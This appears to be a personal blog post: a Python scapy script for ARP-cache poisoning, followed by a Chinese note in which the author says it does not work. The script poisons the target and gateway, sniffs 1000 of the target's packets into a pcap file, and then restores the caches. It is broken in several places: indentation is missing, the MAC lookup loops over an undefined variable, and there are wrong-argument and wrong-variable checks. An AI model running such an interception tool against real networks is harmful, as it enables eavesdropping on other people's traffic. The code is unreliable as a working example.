from scapy.all import *
import os
import sys
import threading
import signal
#interface = 'en1'
target_ip = '192.168.43.141'
gateway_ip = '192.168.43.1'
packet_count = 1000
def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
print("[*] restoring target......")
send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)
os.kill(os.getpid(),signal.SIGINT)
def get_mac(ip_address):
srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip_address),timeout=2,retry=10)
for s,r in responses:
return(r[Ether].src)
return None
def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
poison_target = ARP()
poison_target.op = 2
poison_target.psrc = gateway_ip
poison_target.pdst = target_ip
poison_target.hwdst = target_mac
poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.psrc = target_ip
poison_gateway.pdst = gateway_ip
poison_gateway.hwdst = gateway_mac
print("[*] Begining the ARP poison. [CTRL-C to stop]")
while True:
try:
send(poison_target)
send(poison_gateway)
time.sleep(2)
except KeyboardInterrupt:
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
print("[*] ARP poison attack finished.")
return
#determine the network card
#conf.iface = interface
#shutdown the output
conf.verb = 0
gateway_mac = get_mac(gateway_ip)
if gateway_mac is None:
print("[!!!] Failed to get gateway MAC. Exit!")
sys.exit(0)
else:
print("[*] gateway %s is at %s" %(gateway_ip,gateway_mac))
target_mac = get_mac(target_ip)
if target_ip is None:
print("[!!!] Failed to get the target MAC. Exit!")
sys.exit(0)
#start a threading for arp poison
poison_thread = threading.Thread(target = poison_target,args = (gateway_ip,gateway_mac,target_ip,target_mac))
poison_thread.start()
try:
print("[*] Starting sniffer for %d packets" % packet_count)
bpf_filter = "ip host %s" % target_ip
packets = sniff(count = packet_count,filter = bpf_filter)
wrpcap('arper.pcap',packets)
restore_target(gateway_ip,gateway_ip,target_ip,target_mac)
except:
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
sys.exit(0)
写了一晚上，对于scapy库还是一知半解其实，而且我试了下不能用啊，好郁闷。问题出在getmac地址这个函数，不多说了，代码放上来，有机会回来调试下，这几天在老家，每次用手机开热点上网也不方便。
